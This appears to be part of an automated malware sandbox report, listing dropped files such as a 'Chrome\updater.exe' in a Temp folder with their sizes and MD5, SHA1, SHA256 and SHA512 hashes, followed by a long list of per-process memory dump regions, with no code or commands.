C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C66.tmp.csv
Filesize
30KB

MD5
e8e1d2c75a9808ea84250e4e21d71f53

SHA1
19e9a5412ad6985706ab6ccb3957420f9079be4d

SHA256
8bcc0a67b65b40c306ee1f75d3886ae35faf2bd2293dbe3b4337ef5bc6e438ba

SHA512
483e6a4a140e402bb7e7ddd539906915c9ac5ac9bc9cb0dc5f2e22ac573e4f58bd412b6eeefd2a80ea97adec355ddf008596e8f737f00d8a1b4589d7ddf7b536

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C76.tmp.txt
Filesize
12KB

MD5
17fa5e41d412b1731b5610acc9d5702b

SHA1
71e2aaf916cfd1bbbf5b7ef3250e325f8a400390

SHA256
82dcb86e62f65d764eb1e4fbb6a2a42726eb89d55586aef6dcb060f547216eaa

SHA512
880cf1ab3aa30c97e4c4c08bbd1adbb92beaaed1f62afda6a036c4ce315e69de461acbf3756cdeba6e0a704ca422cbddc4491f4b5f223cd4513c1ec6cbf0dc53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Filesize
539B

MD5
f45d46b20b2f149cd2cfba6b1bd00f5f

SHA1
5e98894e4fdba7142eeb7c6634d5eeb110acb594

SHA256
457a1ba49a120abd7d7ff591e0c9cd4e68fbe5fd6bfb0c7a57a909885bf631cd

SHA512
88739f65b1dd634b6e0ec6f7183951d5b67ed2be23fefeef408b69a5b2c73116c4102daa9f19ef5fab1e2dcccec8869cf87f5b0dc525646fce9103743325b68c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6e0fe67a6719d0257126a10ca47e264f

SHA1
2af2d3a7a7557ef0dbc8276fddbcc706f8e1bee6

SHA256
840dbc82beaee162ba1d947e011340e77e72117f255018488f675f4d9ef031b6

SHA512
026502fa6b5d633623f20015f8164b3d409e67b1d0554c40d58eac1ee8fe7d52e9b22d069a84aaf2b5cbc20062d78e118c22738be96fa62c40f9c06aee9a7ab0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe
Filesize
2.2MB

MD5
40caa9b00badca24594571e157a6d2a9

SHA1
42f2faf2aa59f38c16824eaa1dc022fddb142565

SHA256
7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442

SHA512
e8517ff311d81efe14707629f1730ca329db66b92d17ff711945ec5a0313de3cc914d59fd621bfcb907750b0947778784da191c0c6d703c92f788e61dc5e34d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe
Filesize
2.2MB

MD5
40caa9b00badca24594571e157a6d2a9

SHA1
42f2faf2aa59f38c16824eaa1dc022fddb142565

SHA256
7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442

SHA512
e8517ff311d81efe14707629f1730ca329db66b92d17ff711945ec5a0313de3cc914d59fd621bfcb907750b0947778784da191c0c6d703c92f788e61dc5e34d3

Download Submit
memory/68-201-0x0000000000000000-mapping.dmp

Download
memory/96-222-0x0000000000000000-mapping.dmp

Download
memory/352-325-0x000001BE8FE90000-0x000001BE8FEBA000-memory.dmp

Filesize
168KB

Download
memory/352-264-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/356-302-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/368-326-0x00000165BF1D0000-0x00000165BF1FA000-memory.dmp

Filesize
168KB

Download
memory/368-265-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/488-221-0x0000000000000000-mapping.dmp

Download
memory/516-176-0x0000000000000000-mapping.dmp

Download
memory/528-187-0x0000000000000000-mapping.dmp

Download
memory/588-252-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/588-257-0x000002538B060000-0x000002538B08A000-memory.dmp

Filesize
168KB

Download
memory/588-254-0x000002538B030000-0x000002538B053000-memory.dmp

Filesize
140KB

Download
memory/596-303-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/600-220-0x0000000000000000-mapping.dmp

Download
memory/624-266-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/624-327-0x0000026152D00000-0x0000026152D2A000-memory.dmp

Filesize
168KB

Download
memory/640-258-0x0000025807130000-0x000002580715A000-memory.dmp

Filesize
168KB

Download
memory/640-253-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/752-308-0x00000128C29D0000-0x00000128C29FA000-memory.dmp

Filesize
168KB

Download
memory/752-262-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/872-182-0x0000000000000000-mapping.dmp

Download
memory/880-338-0x000002146B2C0000-0x000002146B2EA000-memory.dmp

Filesize
168KB

Download
memory/880-267-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/912-263-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/912-314-0x0000027D5EB00000-0x0000027D5EB2A000-memory.dmp

Filesize
168KB

Download
memory/928-219-0x0000000000000000-mapping.dmp

Download
memory/1000-260-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1000-306-0x000001BB9F5B0000-0x000001BB9F5DA000-memory.dmp

Filesize
168KB

Download
memory/1080-478-0x0000000000000000-mapping.dmp

Download
memory/1116-339-0x0000025102480000-0x00000251024AA000-memory.dmp

Filesize
168KB

Download
memory/1116-268-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1144-340-0x0000013ADFA00000-0x0000013ADFA2A000-memory.dmp

Filesize
168KB

Download
memory/1144-269-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1184-232-0x0000000000000000-mapping.dmp

Download
memory/1204-270-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1204-343-0x0000015D51190000-0x0000015D511BA000-memory.dmp

Filesize
168KB

Download
memory/1212-344-0x000001B3813A0000-0x000001B3813CA000-memory.dmp

Filesize
168KB

Download
memory/1212-271-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1268-177-0x0000000000000000-mapping.dmp

Download
memory/1276-360-0x0000019AFAD70000-0x0000019AFAD9A000-memory.dmp

Filesize
168KB

Download
memory/1276-287-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1284-345-0x0000018D1A560000-0x0000018D1A58A000-memory.dmp

Filesize
168KB

Download
memory/1284-272-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1360-346-0x000001DB224C0000-0x000001DB224EA000-memory.dmp

Filesize
168KB

Download
memory/1360-273-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1372-202-0x0000000000000000-mapping.dmp

Download
memory/1392-348-0x0000028116EC0000-0x0000028116EEA000-memory.dmp

Filesize
168KB

Download
memory/1392-275-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1424-347-0x00000221AF0A0000-0x00000221AF0CA000-memory.dmp

Filesize
168KB

Download
memory/1424-274-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1436-227-0x0000000000000000-mapping.dmp

Download
memory/1448-349-0x000001C20CAC0000-0x000001C20CAEA000-memory.dmp

Filesize
168KB

Download
memory/1448-276-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1456-350-0x0000020A7C4C0000-0x0000020A7C4EA000-memory.dmp

Filesize
168KB

Download
memory/1456-277-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1540-305-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1548-351-0x000002BDB5890000-0x000002BDB58BA000-memory.dmp

Filesize
168KB

Download
memory/1548-278-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1604-279-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1604-352-0x000001763F490000-0x000001763F4BA000-memory.dmp

Filesize
168KB

Download
memory/1612-353-0x000001A2BB9C0000-0x000001A2BB9EA000-memory.dmp

Filesize
168KB

Download
memory/1612-280-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1624-471-0x0000000000000000-mapping.dmp

Download
memory/1636-178-0x0000000000000000-mapping.dmp

Download
memory/1720-282-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1720-355-0x000001C076800000-0x000001C07682A000-memory.dmp

Filesize
168KB

Download
memory/1728-281-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1728-354-0x000001F86D600000-0x000001F86D62A000-memory.dmp

Filesize
168KB

Download
memory/1752-283-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1752-356-0x0000024214CA0000-0x0000024214CCA000-memory.dmp

Filesize
168KB

Download
memory/1768-284-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1768-357-0x000001D7AFE70000-0x000001D7AFE9A000-memory.dmp

Filesize
168KB

Download
memory/1784-129-0x0000000000000000-mapping.dmp

Download
memory/1784-467-0x0000000000000000-mapping.dmp

Download
memory/1852-285-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/1852-358-0x000001FCE5CE0000-0x000001FCE5D0A000-memory.dmp

Filesize
168KB

Download
memory/1936-138-0x0000017663F80000-0x0000017663FF6000-memory.dmp

Filesize
472KB

Download
memory/1936-135-0x0000017663DD0000-0x0000017663DF2000-memory.dmp

Filesize
136KB

Download
memory/1936-130-0x0000000000000000-mapping.dmp

Download
memory/2000-286-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2000-359-0x0000000001130000-0x000000000115A000-memory.dmp

Filesize
168KB

Download
memory/2136-288-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2136-361-0x0000027873780000-0x00000278737AA000-memory.dmp

Filesize
168KB

Download
memory/2152-261-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2152-307-0x0000000000860000-0x000000000088A000-memory.dmp

Filesize
168KB

Download
memory/2188-218-0x0000000000000000-mapping.dmp

Download
memory/2208-174-0x0000000000000000-mapping.dmp

Download
memory/2212-461-0x0000000000000000-mapping.dmp

Download
memory/2308-167-0x0000000000000000-mapping.dmp

Download
memory/2348-289-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2356-290-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2376-291-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2388-198-0x0000000000000000-mapping.dmp

Download
memory/2392-179-0x0000000000000000-mapping.dmp

Download
memory/2416-197-0x0000000000000000-mapping.dmp

Download
memory/2464-293-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2476-292-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2488-233-0x0000000000000000-mapping.dmp

Download
memory/2488-464-0x0000000000000000-mapping.dmp

Download
memory/2548-192-0x0000000000000000-mapping.dmp

Download
memory/2552-294-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2584-295-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2596-123-0x000001D175DC0000-0x000001D175FE4000-memory.dmp

Filesize
2.1MB

Download
memory/2596-180-0x000001D175FE0000-0x000001D175FE6000-memory.dmp

Filesize
24KB

Download
memory/2596-175-0x000001D175D90000-0x000001D175DA2000-memory.dmp

Filesize
72KB

Download
memory/2596-120-0x000001D176000000-0x000001D17623C000-memory.dmp

Filesize
2.2MB

Download
memory/2596-322-0x000001D176800000-0x000001D17682A000-memory.dmp

Filesize
168KB

Download
memory/2596-122-0x000001D173500000-0x000001D17373B000-memory.dmp

Filesize
2.2MB

Download
memory/2596-483-0x0000000000000000-mapping.dmp

Download
memory/2600-297-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2648-296-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2664-298-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2680-299-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2688-251-0x00007FFE42FE0000-0x00007FFE431BB000-memory.dmp

Filesize
1.9MB

Download
memory/2688-247-0x00007FFE42FE0000-0x00007FFE431BB000-memory.dmp

Filesize
1.9MB

Download
memory/2688-241-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/2688-243-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/2688-242-0x00000001400024C8-mapping.dmp

Download
memory/2688-249-0x00007FFE40540000-0x00007FFE405EE000-memory.dmp

Filesize
696KB

Download
memory/2688-244-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/2688-250-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/2696-457-0x0000000000000000-mapping.dmp

Download
memory/2712-166-0x0000000000000000-mapping.dmp

Download
memory/2720-195-0x0000000000000000-mapping.dmp

Download
memory/2728-300-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/2756-191-0x0000000000000000-mapping.dmp

Download
memory/2780-189-0x0000000000000000-mapping.dmp

Download
memory/2780-224-0x0000000000000000-mapping.dmp

Download
memory/2784-226-0x0000000000000000-mapping.dmp

Download
memory/2936-223-0x0000000000000000-mapping.dmp

Download
memory/3156-196-0x0000000000000000-mapping.dmp

Download
memory/3192-460-0x0000000000000000-mapping.dmp

Download
memory/3340-246-0x00007FFE42FE0000-0x00007FFE431BB000-memory.dmp

Filesize
1.9MB

Download
memory/3340-240-0x00007FFE40540000-0x00007FFE405EE000-memory.dmp

Filesize
696KB

Download
memory/3340-248-0x00007FFE40540000-0x00007FFE405EE000-memory.dmp

Filesize
696KB

Download
memory/3340-237-0x000001986CFC0000-0x000001986CFFC000-memory.dmp

Filesize
240KB

Download
memory/3340-238-0x00007FFE42FE0000-0x00007FFE431BB000-memory.dmp

Filesize
1.9MB

Download
memory/3388-203-0x0000000000000000-mapping.dmp

Download
memory/3480-301-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/3544-304-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/3700-194-0x0000000000000000-mapping.dmp

Download
memory/3720-231-0x0000000000000000-mapping.dmp

Download
memory/3724-217-0x0000000000000000-mapping.dmp

Download
memory/3736-188-0x0000000000000000-mapping.dmp

Download
memory/3764-239-0x0000000006E20000-0x0000000007170000-memory.dmp

Filesize
3.3MB

Download
memory/3764-256-0x0000000007250000-0x000000000726C000-memory.dmp

Filesize
112KB

Download
memory/3764-259-0x00000000072F0000-0x000000000733B000-memory.dmp

Filesize
300KB

Download
memory/3764-225-0x00000000066E0000-0x0000000006D08000-memory.dmp

Filesize
6.2MB

Download
memory/3764-235-0x0000000006650000-0x00000000066B6000-memory.dmp

Filesize
408KB

Download
memory/3764-214-0x0000000003A40000-0x0000000003A76000-memory.dmp

Filesize
216KB

Download
memory/3764-236-0x0000000006570000-0x00000000065D6000-memory.dmp

Filesize
408KB

Download
memory/3764-234-0x00000000063D0000-0x00000000063F2000-memory.dmp

Filesize
136KB

Download
memory/3764-313-0x00000000075A0000-0x0000000007616000-memory.dmp

Filesize
472KB

Download
memory/3880-190-0x0000000000000000-mapping.dmp

Download
memory/3940-193-0x0000000000000000-mapping.dmp

Download
memory/3960-200-0x0000000000000000-mapping.dmp

Download
memory/4000-186-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4000-185-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4000-183-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4000-184-0x0000000140002348-mapping.dmp

Download
memory/4000-199-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4076-181-0x0000000000000000-mapping.dmp

Download
memory/4092-508-0x0000000000000000-mapping.dmp

Download
memory/4108-465-0x0000000000000000-mapping.dmp

Download
memory/4152-490-0x0000000000401BEA-mapping.dmp

Download
memory/4192-312-0x0000013C5F870000-0x0000013C5F89A000-memory.dmp

Filesize
168KB

Download
memory/4192-309-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/4224-328-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/4224-311-0x0000000000000000-mapping.dmp

Download
memory/4224-332-0x0000027C55FB0000-0x0000027C55FDA000-memory.dmp

Filesize
168KB

Download
memory/4224-329-0x0000027C55D50000-0x0000027C55D7A000-memory.dmp

Filesize
168KB

Download
memory/4264-317-0x0000015C72BD0000-0x0000015C72BFA000-memory.dmp

Filesize
168KB

Download
memory/4264-315-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/4288-324-0x00000245EDCF0000-0x00000245EDD1A000-memory.dmp

Filesize
168KB

Download
memory/4288-316-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/4288-310-0x0000000000000000-mapping.dmp

Download
memory/4308-495-0x0000000000000000-mapping.dmp

Download
memory/4328-320-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/4328-319-0x0000000000000000-mapping.dmp

Download
memory/4328-323-0x0000020AF1E10000-0x0000020AF1E3A000-memory.dmp

Filesize
168KB

Download
memory/4328-321-0x0000020AF05A0000-0x0000020AF05CA000-memory.dmp

Filesize
168KB

Download
memory/4460-335-0x0000000000840000-0x000000000086A000-memory.dmp

Filesize
168KB

Download
memory/4460-333-0x0000000000000000-mapping.dmp

Download
memory/4460-334-0x0000000000880000-0x00000000008AA000-memory.dmp

Filesize
168KB

Download
memory/4472-492-0x0000000000000000-mapping.dmp

Download
memory/4500-511-0x0000000000000000-mapping.dmp

Download
memory/4652-516-0x0000000000000000-mapping.dmp

Download
memory/4692-520-0x0000000000000000-mapping.dmp

Download
memory/4840-402-0x00007FFE03070000-0x00007FFE03080000-memory.dmp

Filesize
64KB

Download
memory/4972-413-0x0000000000000000-mapping.dmp

Download
memory/5048-415-0x0000000000000000-mapping.dmp

Download